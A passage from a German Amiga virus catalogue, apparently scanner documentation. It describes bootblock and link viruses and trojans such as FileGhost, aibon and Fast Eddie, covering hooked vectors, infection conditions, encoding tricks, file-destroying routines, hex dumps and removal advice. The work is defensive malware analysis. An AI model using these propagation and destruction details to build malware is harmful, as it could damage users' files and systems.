  7693.              02224e5e 4e750943 6f6e4465 76696365 ."N^Nu.ConDevice
  7694.          Laut doc soll das Programm CR entfernen oder einsetzen. Nach
  7695.          Fremdaussagen geht das auch.
  7696.          ABER !!!!!!
  7697.          Mit SnoopDos ist nachweisbar, dass auch ein File ConDevice
  7698.          geloescht wird, falls vorhanden. ConDevice kenne ich NICHT.
  7699.          Es koennte also ein Schaden entstehen, falls dieses Teil
  7700.          fuer ein Programm wichtig ist. Bitte entscheiden Sie deshalb
  7701.          selbst. Oder es sagt mir jemand, fuer was ConDevice gut ist.
  7702.          Ich waere dankbar dafuer.
  7703.  
  7704.  
  7705.    - Ethik-Virus   siehe bei SHIT      ( ETIC )
  7706.          Unter diesem Namen wurde mir ein BB zugeschickt. Aber auch im
  7707.          Speicher war dieser Name nicht nachvollziehbar.
  7708.  
  7709.    - EXCREMENT-Virus   BB     Cool: $7F47A   DoIo: $7F4C2  immer ab: $7F400
  7710.          KS2.06: GURU B nach Reset
  7711.          Fordert trackdisk.device NICHT
  7712.          Namensbegruendung: im BB ist zu lesen:
  7713.               61727900 45584352 454d454e 54002d7c ary.EXCREMENT.-.
  7714.          Vermehrung: BB
  7715.          linke Maustaste= Abbruch und Cool-Vektor loeschen
  7716.          Test auf DOS-Kennung
  7717.          Test ob schon verseucht mit cmpi.l #"EXCR",$54(a4)
  7718.          Schaeden: Sobald eine Zaehlzelle den Wert $A erreicht hat,
  7719.             blinkt die LED. Mehr ist bei mir nicht passiert.
  7720.          Clones: Sentinel = USSR 492
  7721.  
  7722.    - EXCREMENT-Installer  File Laenge: 1180 Bytes
  7723.          VT erkennt EXCREMENT-Virus.
  7724.          Ein File das aus dem BB (s.o.) und ein paar Speicher-Install-
  7725.          Bytes besteht. Das Teil kann sich dann nur als BB und NICHT
  7726.          als File vermehren. Einfach loeschen.
  7727.  
  7728.    - Excreminator 1   File    Laenge: 2392 Bytes   auch KS2.04
  7729.          KEINE verbogenen Vektoren
  7730.          KEINE Vermehrungsroutine
  7731.          KEINE Schreibroutine fuer Startup-Seq
  7732.          Versucht durch angeblichen Virustest zu taeuschen.
  7733.          Im File zu lesen: The Lame Trio  usw.
  7734.          verraet sich durch System-Requester: Write-pro....
  7735.          Schaeden:
  7736.          Versucht in libs Exec.library (4 Bytes) als Zaehlerfile
  7737.          (Startwert=5) anzulegen.
  7738.          Verringert dann bei jedem Aufruf den Zaehler.
  7739.          Bei 0  KopfStep ALLE Laufwerke
  7740.          Folge: Not a DOS Disk
  7741.          und mit DisplayAlert: LAME SUCKER  usw...
  7742.          danach RESET
  7743.          Empfehlung: beide Files sofort loeschen und gegebenenfalls
  7744.          Startup-Seq. ueberpruefen.
  7745.  
  7746.    - EXECUTORS  BB  Cool $7EC74  DoIo $7ED4A  im Speicher immer $7EC00
  7747.          Herpes-Clone   KS2.04: ja       
  7748.          Vergleiche auch: Kimble.BB-Virus, CreepingEEL.BB-Virus
  7749.          Fordert trackdisk.device NICHT
  7750.          Namensbegruendung: s.u.
  7751.          Vermehrung: ueber BB
  7752.          Schaden: Zerstoert Track ab $6E000 (Bei DD-Disk = Root)
  7753.          Sobald eine Zaehlzelle den Wert 5 erreicht hat, wird ein Text
  7754.          ausgegeben:   Hintergrund: Deutschland-Fahne
  7755.                                           
  7756.                 HI ! THE EXECUTORS ARE HERE
  7757.  
  7758.                Some of your fucking Disks are
  7759.                  infected with the Virus V1
  7760.                     Greets are going to :
  7761.  
  7762.                M A X  O F  S T A R L I G H T
  7763.                     Lamer....FUCK OFF!
  7764.  
  7765.  
  7766.    - ExHacker-Trojan   File  Zerstoerung
  7767.          vgl. auch Trainer-Trojan
  7768.          Laenge gepackt: 18280 Bytes
  7769.          Nach FileID soll es ein Passwort-Hacker sein.
  7770.          VT bietet Loeschen an.
  7771.          Im entpackten File ist zu lesen:
  7772.                              6262733a 636f6e66         bbs:conf
  7773.            636f6e66 69672e69 6e666f00 6262733a config.info.bbs:
  7774.            75736572 2e646174 61006c69 62733a61 user.data.libs:a
  7775.            65646f6f 722e6c69 62726172 79006c69 edoor.library.li
  7776.            62733a42 6f6f7462 6c6f636b 2e6c6962 bs:Bootblock.lib
  7777.            72617279 006c6962 733a6165 2e6c6962 rary.libs:ae.lib
  7778.            72617279 006c6962 733a6578 706c6f64 rary.libs:explod
  7779.            652e6c69 62726172 79006c69 62733a46 e.library.libs:F
  7780.            696c6549 442e6c69 62726172 79004c69 ileID.library.Li
  7781.            62733a66 72656561 6e696d2e 6c696272 bs:freeanim.libr
  7782.            61727900 6c696273 3a696666 70617273 ary.libs:iffpars
  7783.            652e6c69 62726172 79006c69 62733a72 e.library.libs:r
  7784.            6571746f 6f6c732e 6c696272 61727900 eqtools.library.
  7785.            6c696273 3a747261 6e736c61 746f722e libs:translator.
  7786.            6c696272 61727900 6c696273 3a787072 library.libs:xpr
  7787.            7a6d6f64 656d2e6c 69627261 72790073 zmodem.library.s
  7788.            79733a70 72656673 2f546f6f 6c735072 ys:prefs/ToolsPr
  7789.            65667300 733a7573 65722d73 74617274 efs.s:user-start
  7790.            75700063 3a6c6f61 64776200          up.c:loadwb.
  7791.          Schaden:
  7792.           Die Files (siehe oben) sollen mit dosdelete geloescht werden.
  7793.  
  7794.  
  7795.    - EXORCIST  Virus   BB   AlienNewBeat Clone  siehe oben
  7796.          Es wurde der Text geaendert. Eine Meisterleistung
  7797.          Im BB ist zu lesen:
  7798.            64206279 20746865 20534154 414e2076 d by the SATAN v
  7799.            69727573 21202020 4469616c 20323233 irus!   Dial 223
  7800.            30343934 302c2061 6e642061 736b2066 04940, and ask f
  7801.            6f722074 68652045 584f5243 49535421 or the EXORCIST!
  7802.          Anderer Name: SATAN-Virus
  7803.  
  7804.    - Express2.20-Virus  keine Vermehrung (also von Def. kein Virus)
  7805.          keine verbogenen Vektoren, Zerstoerungsprogramme
  7806.          1. File Express2.20   Laenge: 194064
  7807.          2. File aibon         Laenge: 776
  7808.          aibon haengt am Ende von Express2.20 und wird mit jmp ange-
  7809.          sprungen.
  7810.          Am Ende der Files ist zu lesen bbs: sys: ram: dos.library .
  7811.          Naja werden Sie denken wieder mal gegen Ami-Express gerichtet.
  7812.          Trifft mich nicht, hab ja keine Mail-Box. Halt !!!! Vorsicht !
  7813.          Das Starten von Express2.20 reicht um Sie an die Decke gehen
  7814.          zu lassen.
  7815.          Zerstoerungsablauf:
  7816.          - Sie starten Express2.20 von Sys-Ebene  (halt mal sehen was
  7817.          das Programm macht)
  7818.          - aibon wird nach :s kopiert
  7819.          - :s/startup-sequence wird auf EINE Zeile :s/aibon gekuerzt
  7820.          - Requester   Datentraeger bbs einlegen
  7821.          - Sie haben keine Mailbox und klicken  cancel
  7822.          - Tastatur wird gesperrt
  7823.          - und jetzt gehts los
  7824.          - jedes File in sys: wird eingelesen und mit 42 Bytes Laenge
  7825.            zurueckgeschrieben. Da kommt Freude auf.
  7826.          - Also Tastatur-Reset  (geht leider nicht siehe oben)
  7827.          - Also nehmen Sie not validated in Kauf und schalten schnell
  7828.            den Computer 1 Minute aus.
  7829.          - Computer wieder an UND es wird weiter geloescht
  7830.             (richtig:   sys:s/startup-sequence mit der Zeile :s/aibon
  7831.              existiert noch)
  7832.            Das merken Sie aber erst so nach 40 Sekunden, weil ihre
  7833.            startup-sequence fuer die Festplatte immer eine Zeit braucht.
  7834.          - Um hier noch etwas zu retten brauchen Sie eine WB-Disk von
  7835.            der Sie booten koennen und im Zweifelsfalle ihre Festplatte
  7836.            anmelden zu koennen. Kopieren Sie auf ihre Festplatte eine
  7837.            neue startup-sequence und hoffen Sie, dass Sie schnell genug
  7838.            waren und einige Files noch nicht zerstoert wurden.
  7839.          Nachtrag: Falls bbs: gefunden wurde, werden natuerlich zuerst
  7840.            dort alle Files zerstoert.
  7841.          Herkunft: d-aex220.lha  Laenge 135400
  7842.               angeblich neues Ami-Express
  7843.          Erkennung der beiden Files mit VT getestet:  09.09.92
  7844.          Loeschen der beiden Files mit VT getestet :  09.09.92
  7845.              aibon:
  7846.               00000000 00000000 00006262 733a0073 ..........bbs:.s
  7847.               79733a00 72616d3a 00646f73 2e6c6962 ys:.ram:.dos.lib
  7848.          Ein weiteres bekanntes File: acp.ctrl Laenge: 56016 Bytes
  7849.          Enthaelt am Ende ebenfalls aibon
  7850.        Nachtrag 01.05.93:
  7851.          Es ist ein aibon 2 aufgetaucht. Verhalten siehe oben.
  7852.             Install-File Laenge ungepackt: 1872 Bytes
  7853.                            aibon 2 Laenge: 784 Bytes
  7854.          Besonderheit:
  7855.           Install-File sucht zuerst nach Portnamen: ser.read
  7856.  
  7857.           aibon 2 neu: df0, df1  :
  7858.               00007379 733a0062 62733a00 6466303a ..sys:.bbs:.df0:
  7859.               00646631 3a00646f 732e6c69 62726172 .df1:.dos.librar
  7860.        Nachtrag 02.05.93:
  7861.           Es ist ein File DwEditV1.62 verseucht mit aibon2 aufgetaucht.
  7862.               FileLaenge verseucht: 43700 Bytes
  7863.               aibon2 ausgebaut    : 41468 Bytes
  7864.           aibon2 wurde mit hunklab angelinkt.
  7865.           Waehlen Sie bitte Ausbau. Die Lauffaehigkeit des sauberen
  7866.           Files wurde getestet. Schaeden siehe oben
  7867.    - Aibon2-Mount2-Clone:
  7868.           Es ist ein Toolsdaemon V2.2 aufgetaucht, verseucht mit diesem
  7869.           Cloneteil.
  7870.               FileLaenge verseucht: 7128 Bytes
  7871.               Trojan ausgebaut    : 4896 Bytes
  7872.           Dieses Teil wurde mit der Hunklab-Methode angelinkt. VT bietet
  7873.           Ausbau an.
  7874.           Unterschiede zu Aibon:
  7875.          - mount wird nach s kopiert  (Laenge 784 Bytes)
  7876.          - s:startup-sequence wird auf EINE Zeile s:mount,$0a,$0a gekuerzt.
  7877.          - Files werden auf 42 Bytes gekuerzt und mit Speicherinhalt ab
  7878.            $0 (ja Zero-Page) gefuellt. Beispiel-File mit KS1.3:
  7879.              0000: 00000000 00000676 00fc0818 00fc081a .......v........
  7880.              0010: 00fc081c 00fc081e 00fc0820 00fc0822 ........... ..."
  7881.              0020: 00fc090e 00fc0826 00fc              .......&..
  7882.            Oder es entstehen Files mit Inhalt Null (Beispiel war setpatch):
  7883.                 SetPatch
  7884.              0000: 00000000 00000000 00000000 00000000 ................
  7885.              0010: 00000000 00000000 00000000 00000000 ................
  7886.              0020: 00000000 00000000 0000              ..........
  7887.          - Im Trojan-File ist zu lesen:
  7888.               00000000 00000000 00000000 7379733a ............sys:
  7889.               00686430 3a006466 303a0064 66323a00 .hd0:.df0:.df2:.
  7890.               646f732e 6c696272 61727900 00000000 dos.library.....
  7891.                     ;.....
  7892.               03eb0000 00000000 03f2733a 6d6f756e ..........s:moun
  7893.               740a0a73 3a737461 72747570 2d736571 t..s:startup-seq
  7894.               75656e63 6500733a 6d6f756e 74000000 uence.s:mount...
  7895.                     ;.....
  7896.               00000000 00006864 303a0073 79733a00 ......hd0:.sys:.
  7897.               72616d3a 00646f73 2e6c6962 72617279 ram:.dos.library
  7898.               00736572 2e726561 6400646f 732e6c69 .ser.read.dos.li
  7899.               62726172 79000000 00000000 0000646f brary.........do
  7900.               732e6c69 62726172 79004261 636b4772 s.library.BackGr
  7901.               6f756e64 5f50726f 63657373 00000000 ound_Process....
  7902.             Also auch kleinere Aenderungen bei den Laufwerken.
  7903.             VT sucht nach dem Process und versucht eine Abschaltung.
  7904.             Mit einem GURU muss gerechnet werden.
  7905.             Der Install-Process besitzt ein Dos-Delay ($29bf8 = fast
  7906.             eine Stunde) . Rest siehe oben bei Express-Beschreibung.
  7907.  
  7908.    - EXTREME     BB
  7909.          DoIo, KickTag, KickCheckSum, Rasterstrahl
  7910.          entweder 7f800 oder ff800, da Berechnung ueber SysStkLower+$1000
  7911.          lesbarer Text im BB: THE EXTREME ANTIVIRUS  usw.
  7912.          sobald Zaehlzelle Null :
  7913.          Zerstoeren (Disk BAD) aller nicht schreibgeschuetzten Disks
  7914.          in allen LW und Alertmeldung
  7915.          Vermehrung: ueber BB
  7916.          Clone: FAT2-Virus, ZACCESS 3, PRIMAVERA,
  7917.  
  7918.    - F.A.S.T.
  7919.          Cool, DoIo , FreeMem, immer ab $7F000
  7920.          Alertmeldung (verschluesselt mit eori-Byte in Abhaengigkeit
  7921.          von $DFF006) und loeschen
  7922.          veraendert auch $C0-$E0  (SetPatchListe!)
  7923.          Vermehrung: BB
  7924.          FAST-Clone:
  7925.          Im BB wurde der codierte Prg.Teil um einige Bytes verschoben,
  7926.          um im BB-Kopf dos.library einbauen zu koennen. Die Lage im
  7927.          Speicher wurde nicht veraendert.
  7928.          Bekannte Spruenge: 6018, 6030, 6042
  7929.  
  7930.  
  7931.    - F.I.C.A
  7932.          Beginio, KickTag, KickCheckSum, SumKickData
  7933.          Vermehrung: BB
  7934.          Besonderheit: spielt sauberen BB vor
  7935.          sichtbarer Text im BB ab $288
  7936.          z.B. F.I.C.A RULES!
  7937.  
  7938.    - F.I.C.A-VIRI-Clone
  7939.          Nur Text geaendert:    
  7940.            57686174 20646f65 73207468 69732073 What does this s
  7941.            61793f20 56697269 20617265 20746865 ay? Viri are the
  7942.            206b696e 6773206f 66206c61 6d657273  kings of lamers
  7943.  
  7944.    - FA58B1EF-LVirus    Link
  7945.          Fileverlaengerung: #2440 Bytes
  7946.          Verbogene Vektoren: LoadSeg, NewLoadSeg 
  7947.          Verbogene Vektoren manchmal: BeginIo von scsi.device
  7948.          Namensbegruendung: s.u.
  7949.          KS1.3: nein
  7950.          Speichereinbindung:
  7951.          Ueber LoadSeg und NewLoadSeg
  7952.          Dabei wird ueber das Langwort $FA58B1EF (s.o.) ueberprueft, ob
  7953.          das Teil im Speicher schon aktiv ist.
  7954.          Link an ein File:
  7955.          Medium valid
  7956.          File ausfuehrbar (3F3)
  7957.          Filelaenge mind. #30000 Bytes
  7958.          $4AFC wird nicht gefunden (z.B. libs)
  7959.          File noch nicht verseucht (Test mit FA58B1EF)
  7960.          Ueberlaeuft 3e8-, 3F1-Hunks usw.
  7961.          Das Teil linkt sich als neuer 1.Hunk vor den Original-1.Hunk.
  7962.          Deshalb muss das Teil auch die Relocs der folgenden Hunks ver-
  7963.          aendern.
  7964.          VT versucht das Teil auszubauen und auch die Reloc-Hunks zurueck-
  7965.          zusetzen.
  7966.          VT sollte das Teil im Speicher finden und abschalten.
  7967.          Schaden1:
  7968.          - durchlaeuft die Deviceliste ($15e) und fuehrt haeufig (nicht
  7969.            immer) den Schwachsinn addq.b #1 (a0)+ aus.
  7970.          Mit VT ausgelesen  Liste vorher:
  7971.    Adresse    Ver Rev NegOff PosOff Pri# OCnt Name   Anzahl:   12     Datum
  7972.    $0800d514   37  12     36    338    0    1 gameport.device      (3.5.91)
  7973.    $0800d6ac   39   4     68    380    0   24 timer.device        (29.7.92)  
  7974.           ;usw ...
  7975.          Mit VT ausgelesen  Liste nachher: 
  7976.    Adresse    Ver Rev NegOff PosOff Pri# OCnt Name   Anzahl:    6     Datum
  7977.    $0900d514 55355535  65535  65535 -  1 5535 
  7978.    $ffffffff 07523498  26112  63498    0 2288
  7979.           ;usw ....
  7980.          Da ist NICHTS mehr zu retten !!!! Fuehren Sie einen Reset durch.
  7981.          Oder Schaden2:
  7982.          - Suche nach scsi.device und verbiegen von BeginIo
  7983.            fuer scsi.device ist im Virusteil jeder Buchstabe im 1 niedriger
  7984.            abgelegt, also rbrh-cduhbd . Daher wahrscheinlich der
  7985.            add-Schwachsinn s.o. . Gewartet wird auf einen Schreibaufruf.
  7986.          Mit VT Block ausgelesen vorher:
  7987.           0180: 00000000 00000000 00000000 00000000 ................
  7988.                    ;....
  7989.           01e0: 00000000 00000000 00000000 00000000 ................
  7990.          Mit VT Block ausgelesen nachher:
  7991.           0180: 00000000 00000000 0000ff00 000000ff ................
  7992.                    ;....              ^^         ^^
  7993.           01e0: 00000000 0000ff00 00000000 00000000 ................
  7994.                              ^^
  7995.          Ich habe natuerlich fuer den Test einen leeren Block gewaehlt.
  7996.          So ein zerstoerter Block kann von VT nicht gefunden werden.
  7997.          Sollte der Block zu einem File gehoeren, so ist auch das File
  7998.          verloren.
  7999.          Vernuenftig waere es also, nachdem VT dieses Virusteil im
  8000.          Speicher gefunden hat, von einer sauberen Antivirusdisk
  8001.          neu zu booten.
  8002.  
  8003.    - Fast Eddie  Virus BB  starke Aehnlichkeit mit Glasnost Block 2 u 3
  8004.          KickTag, KickCheckSum
  8005.          KS2.04 nein
  8006.          im Prg noch DoIo, $6c, im Speicher immer $7F000
  8007.          fordert trackdisk.device NICHT.
  8008.          Im BB ist an $1c FE91 zu lesen
  8009.          Wird aktiv wenn Block 880 gelesen wird
  8010.          Schaeden:
  8011.          blockiert nach 15 oder 20 Min. Rechner (Farbspiel)
  8012.          schreibt eigenen BB
  8013.          bestimmt einen Block ueber $DFF006 durch mulu #6,d7 und schreibt
  8014.          in diesen Block ab $100  Fast Eddie .
  8015.          Dieser Block kann NICHT gerettet werden.
  8016.          Benennt Disknamen um  ( This disk is infected (HE-HE) ) .
  8017.          Codiert jeden BB neu mit ByteWert von $DFF006  eor.b d1,(a0)+ .
  8018.          Decodiert eigenen BB  mit  eor.b d6,(a0)+ .
  8019.          Decodiert im Speicher :
  8020.             Call 43-444304 and ask for HENRIK HANSEN (FAST EDDIE)
  8021.          siehe auch Clone INFECTOR
  8022.  
  8023.    - Fastcall-Trojan       anderer Name DMS206-Trojan  s.o.
  8024.  
  8025.    - FAT 1 Virus   BB  TimeBomb V1.0  BB-Virus-Clone  siehe unten
  8026.          anderer Name: The FAT Stinkbomb 1
  8027.          Nur Text geaendert. Eine Meisterleistung
  8028.          Im BB und Speicher ist zu lesen:
  8029.            14535449 4e4b424f 4d422120 4665642e .STINKBOMB! Fed.
  8030.            20416761 696e7374 20546f78 69642057  Against Toxid W
  8031.            61737465 20677265 65747320 46656974 aste greets Feit
  8032.            652d546f 6d210001 00000000 42b90007 e-Tom!......B...
  8033.          Dieser Text wird auch fuer DisplayAlert verwendet.
  8034.  
  8035.    - FAT 2 Virus   BB  EXTREME-Clone  siehe oben
  8036.          anderer Name: The FAT Stinkbomb 2
  8037.          Nur Text geaendert. Eine Meisterleistung
  8038.          Im BB und Speicher ist zu lesen:
  8039.            696f6e2e 6c696272 61727900 00b01546 ion.library....F
  8040.            20412054 202d2046 65642e20 41676169  A T - Fed. Agai
  8041.            6e737420 546f7869 64205761 73746521 nst Toxid Waste!
  8042.  
  8043.    - FCheck Virus  File  BYTEPARASITE III - Clone  s.o.
  8044.  
  8045.    - FEARS2-Demo (L)   NON-DOS-Disk
  8046.          Cold, Cool
  8047.          KEIN Virus
  8048.          Empfehlung: Loeschen
  8049.          Soll nach Reset Teile des Fears2-Speichers ueberschreiben.
  8050.  
  8051.    - FileGhost-Inst.    File     anderer Name: HardSpeeder
  8052.          Laenge ungepackt: 8160 Bytes Typ A
  8053.          Laenge ungepackt: 8116 Bytes Typ B
  8054.          Sowohl Typ A als auch B schreiben 876 Bytes Linklaenge.
  8055.          Versucht durch Text zu taeuschen:
  8056.            6d486172 64537065 65646572 20a92062 mHardSpeeder . b
  8057.            79204368 72697374 69616e20 4e65756d y Christian Neum
  8058.            616e6e2e 0a506174 63682069 6e737461 ann..Patch insta
  8059.          Auch in dem beiliegenden Doc.File
  8060.           Macht angeblich HD schneller und ist deshalb besonders
  8061.           fuer Sysops geeignet.
  8062.          Verbogene Vektoren: Forbid, LoadSeg, NewLoadseg
  8063.          In Wirklichkeit wird der FileGhost-Virus s.u. im Speicher
  8064.          verankert.
  8065.          VT bietet loeschen an.
  8066.  
  8067.    - FileGhost-Virus   Link
  8068.          KS2.04 : ja
  8069.          KS3.0  : ja
  8070.          bekannter Installer: HardSPEEDER   8160 Bytes
  8071.          Verlaengert ein File um 876 Bytes.
  8072.          Haengt sich hinter den ersten Hunk.
  8073.          Verbogene Vektoren: Forbid, Loadseg, NewloadSeg
  8074.          Das VirusTeil ist teilweise codiert mit:
  8075.                  eor.b d0,(a0)+
  8076.          Der Wert von d0 wird vom VirusPrg. staendig geaendert (Forbid)
  8077.          und ist deshalb bei jedem Link neu.
  8078.          Namensbegruendung: im Speicher ist zu lesen:
  8079.            732e6c69 62726172 79004869 20467269 s.library.Hi Fri
  8080.            656e6421 20446f6e 60742077 6f727279 end! Don`t worry
  8081.            2e2e2e20 49746073 206f6e6c 79207468 ... It`s only th
  8082.            65204669 6c654768 6f73742e 00000bf8 e FileGhost.....
  8083.          Das Virusteil meldet sich nie.
  8084.          Vermehrungsroutine:
  8085.            - max. Filelaenge #100000 Bytes
  8086.            - File ausfuehrbar
  8087.            - Disk validated
  8088.            - mind. 8 Block frei
  8089.            - RTS wird gefunden  (max. loop $3e (+1) )
  8090.            - RTS wird ersetzt durch bra.s oder NOP
  8091.  
  8092.    - FileGhost-2-Virus   Link
  8093.          KS2.04 : ja
  8094.          KS3.0  : ja           
  8095.          bekannter Installer: HardSpeeder2   8116 Bytes
  8096.          Verlaengert ein File um 796 Bytes.
  8097.          Haengt sich hinter den ersten Hunk.
  8098.          Verbogene Vektoren: Loadseg
  8099.          Falls es einen Installer gab, so wird der noch gesucht.
  8100.          Das VirusTeil ist teilweise codiert mit:
  8101.                  add.b x,(a0)+
  8102.          Der Wert von x wird vom VirusPrg. staendig geaendert ($DFF006)
  8103.          und ist deshalb bei jedem Link neu.
  8104.          Namensbegruendung: im Speicher ist zu lesen:
  8105.            e638646f 732e6c69 62726172 79002046 .8dos.library. F
  8106.            696c6547 686f7374 2032202d 204d6572 ileGhost 2 - Mer
  8107.            72792058 2d4d6173 20616e64 20612068 ry X-Mas and a h
  8108.            61707079 206e6577 20796561 722e2e2e appy new year...
  8109.          Das Virusteil meldet sich nie.
  8110.          Vermehrungsroutine:
  8111.            - max. Filelaenge #100000 Bytes
  8112.            - File ausfuehrbar
  8113.            - Disk validated
  8114.            - mind. 8 Block frei
  8115.            - RTS wird gefunden  (max. loop $3e (+1) )
  8116.            - RTS wird ersetzt durch bra.s oder NOP
  8117.          Ueberlaueft 3E8,3F0,3F1-Hunks usw. !!!!!
  8118.          VT2.68 sollte das Teil im Speicher finden.
  8119.          VT2.68 sollte das Teil ausbauen koennen.
  8120.          Hinweis 1 Okt.94:
  8121.          Es ist ein verseuchtes muchmore (18012) aufgetaucht:
  8122.               0020: 000003e9 000000c9 4ef90000 00000000
  8123.                     ^^^^ 1.Hunk       ^^^^ JMP
  8124.               0030: 48e7fffe
  8125.                     ^^^^ Virusbeginn
  8126.          Der Sprungbefehl bra.s (600x) in den Virusteil kommt aber im
  8127.          Orig-Hunk gar nicht vor. So kann sich das Teil gar nicht linken
  8128.          d.h. es draengt sich die Vermutung auf, dass das Virusteil von
  8129.          Hand FALSCH eingefuegt wurde. Ich habe laenger mit dem ver-
  8130.          seuchten und dem ausgebauten Teil "geuebt".
  8131.          Das verseuchte Teil KANN das Virusteil NICHT im Speicher
  8132.          aktivieren, da mit einem JMP darueber hinweggesprungen wird.
  8133.          Das unverseuchte File konnte NIE verseucht werden. VT erkennt
  8134.          dieses File jetzt auch und bietet nach einer Warnung (BRA.S
  8135.          FEHLT), den Ausbau an. Falls es noch mehrere Files dieser Art
  8136.          gibt, bitte ich um einen Hinweis. Danke
  8137.          Hinweis 2 Okt.94:
  8138.          Das Virusteil scheint mehr Verbreitung gefunden zu haben, als
  8139.          von mir angenommen wurde. Die aelteste mir bekannte befallene
  8140.          Disk stammt vom Juli 94.
  8141.          Ich vermute, dass dieses Teil so lange unentdeckt bleiben konnte,
  8142.          da auch viele sogenannte Nutzprogramme LoadSeg verbiegen. Der
  8143.          User ist also nicht mehr gewarnt, wenn er einen verbogenen
  8144.          LoadSeg-Vektor sieht. Wahrscheinlich ein Nutzprogramm, denkt er.
  8145.          PECH gehabt. Ich warne dringend vor solchen Programmen, da fuer
  8146.          LoadSeg KEINE Verkettung existiert, ist es UNMOEGLICH das Virus-
  8147.          teil zu finden, wenn LoadSeg von einem Nutzprogramm noch einmal
  8148.          verbogen wird !!!!!!
  8149.          Hinweis 3 Okt.94:
  8150.          Es sind einige verseuchte Spiele-Files aufgetaucht, die entgegen
  8151.          den Commodore-Richtlinien NICHT mit 3F2 aufhoeren. Bei fehlender
  8152.          3F2-Endekennung, geht man normalerweise davon aus, dass das File
  8153.          defekt ist. Es handelt sich hierbei um Absicht von Seiten der
  8154.          Programmierer. VT unternimmt auch hier einen Ausbauversuch
  8155.          (Warntext: 3F2 Fehlt), der zu einem lauffaehigen Spiel fuehren
  8156.          kann nach dem Ausbau. Genausogut kann es sich aber auch um ein
  8157.          wirklich defektes File handeln. Fertigen Sie bitte vor dem Aus-
  8158.          versuch eine Kopie an. Danke
  8159.  
  8160.    - FileGhost-3-Virus   Link
  8161.          KS1.3  : nein
  8162.          KS2.04 : ja
  8163.          KS3.0  : ja
  8164.          Verlaengert ein File um 1288 Bytes.
  8165.          Haengt sich hinter den ersten Hunk.
  8166.          Verbogene Vektoren: Loadseg
  8167.          Nicht resetfest
  8168.          Das VirusTeil ist codiert mit:
  8169.                  eori.b x,(a0)
  8170.                  eor.b d1,(a0)+
  8171.          Der Wert von x wird vom VirusPrg. staendig geaendert ($DFF006)
  8172.          und ist deshalb bei jedem Link neu. d1 aendert sich mit der
  8173.          Schleife.
  8174.          Ich habe SEHR HAEUFIG bei Tests den GURU gesehen und auch Files
  8175.          mit der Laenge 0 erhalten.
  8176.          Vermehrungsroutine:
  8177.            - Filename enthaelt nicht "." oder "-"
  8178.            - max. Filelaenge #125000 Bytes
  8179.            - min. Filelaenge #2500 Bytes
  8180.            - File ausfuehrbar
  8181.            - Disk validated
  8182.            - mind. 8 Block frei
  8183.            - RTS wird gefunden  ( max. loop $3e )
  8184.            - RTS wird ersetzt durch bra.s oder NOP
  8185.          Ueberlaueft 3E8,3F0,3F1-Hunks usw. !!!!!
  8186.          Dieses Teil soll sich ab und zu melden, indem unterschiedliche
  8187.          Texte in die Fensterleiste geschrieben werden. Hab ich nie ge-
  8188.          sehen. Es kam immer vorher der GURU.
  8189.                 "AUA! schlag nicht so auf die Tasten!"
  8190.                 "FileGhost3 - the nightmare continues!"
  8191.                 "Hallo DEPP!"
  8192.                 "Was machst Du denn als nächstes ?"
  8193.                 "Weißt Du eigentlich, daß Du dumm bist ?"
  8194.                 "Und schon wieder eine Datei weniger!"
  8195.                 "Gib mir mal `n Bier!"
  8196.                 "Tötet alle Nazis + RAPER!"
  8197.                 "AMIGA kills PC! (HEHE)"
  8198.                 "INTeL Outside !"
  8199.          Eine Nachprogrammierung, die bei den Aenderungen FALSCH ist.
  8200.          Vermutlich ein Anfaenger.
  8201.          Da sehr schnell der GURU kommt, duerfte das Teil sehr schnell
  8202.          gefunden werden.
  8203.          Falls sehr viele Files im c-Verzeichnis befallen sind, sollten
  8204.          Sie ueberlegen, ob es nicht schneller geht, wenn Sie das Ver-
  8205.          zeichnis loeschen und von einer Original-WB neu aufspielen.
  8206.          Bei einer Disk sollten Sie nach mehreren Ausbauten copy df0:
  8207.          df1: all  durchfuehren, um die Fragmentierung zu verringern.
  8208.          Arbeiten Sie bitte immer mit einer Kopie.
  8209.  
  8210.    - FileShield-Link N
  8211.          KEIN Virus !!!!!!     mehrere Versionen
  8212.          Vor ein File wurde ein kurzer Hunk mit einem Sprung und ein
  8213.          paar RTS gelinkt. Sollte nach dem Ausbau ein unbekannter
  8214.          Cruncher erkennbar werden, so sollten Sie vorsichtig werden.
  8215.          Es existiert fuer das Anlinken ein Programm.
  8216.  
  8217.    - Firedom.BB Virus  Cascade-Virus-BB-Clone s.o.
  8218.          Nur Text geaendert: (im BB lesbar)
  8219.            00004669 7265646f 6d205631 2e344320 ..Firedom V1.4C
  8220.          Rest: siehe oben
  8221.  
  8222.    - Firedom.BB-Inst.  File   Laenge: 3428 Bytes
  8223.          Mit der Hunklab-Bootjob-Methode wurde der BB an den c-Befehl
  8224.          install angelinkt. 42.5 (3.3.94) ???????
  8225.          Hunklab-Bootjob s.u.
  8226.          Die Wahrscheinlichkeit, dass ein LAUFFAEHIGER BB entsteht, ist
  8227.          gering.
  8228.          VT bietet Ausbau an.
  8229.  
  8230.    - Fl96Intro-Troj.   siehe bei tdtj-Trojan
  8231.  
  8232.    - FLASHBACK-Virus  BB  Block 0-3  Glasnost-Clone  s.u.
  8233.          Unterschiede:
  8234.            In Block 3 ist uncodiert zu lesen:
  8235.            464c4153 48424143 4b207669 72757320 FLASHBACK virus
  8236.            62792053 54432120 5765276c 6c206265 by STC! We'll be
  8237.            20626163 6b2e2e00 00000000 00000000  back...........
  8238.            Schreibt in Block, der zerstoert wird ab $100 STC!
  8239.          Block:    1494
  8240.          00f0: 75657374 65727320 20202020 20202020 uesters
  8241.          0100: 53544321 53544321 53544321 53544321 STC!STC!STC!STC!
  8242.          0110: 20202020 20202020 20202020 20202020
  8243.            Dieser Block kann leider NICHT gerettet werden. Das File
  8244.            ist verloren. Lesen Sie bitte bei Glasnost nach.
  8245.  
  8246.    - FlowerPower-Trojan   Zerstoerung
  8247.          siehe bei ZINKO  Trojan
  8248.  
  8249.  
  8250.    - FORPIB  BB  kein FastMem,
  8251.          BeginIo, KickTag, KickCheckSum, Vec5
  8252.          Vermehrung: ueber BB
  8253.          besorgt sich Speicher ueber MemList, Speicher fuer neuen
  8254.          VirusBB mit AllocMem
  8255.          Im BB sichtbar:  - FORPIB - 09.88 - N° 197102 -    usw.
  8256.          Clone: STARCOM 6, TAI3 siehe unten
  8257.  
  8258.    - Freedom     reines Zerstoerungsprogramm  Laenge: 10876Bytes
  8259.          Herkunft: Freedom!.LZH   8153 Bytes
  8260.          Fordert trackdisk.device; keine verbogenen Vektoren
  8261.          versucht durch Text zu taeuschen:
  8262.          Freedom !      by Steve Tibbett
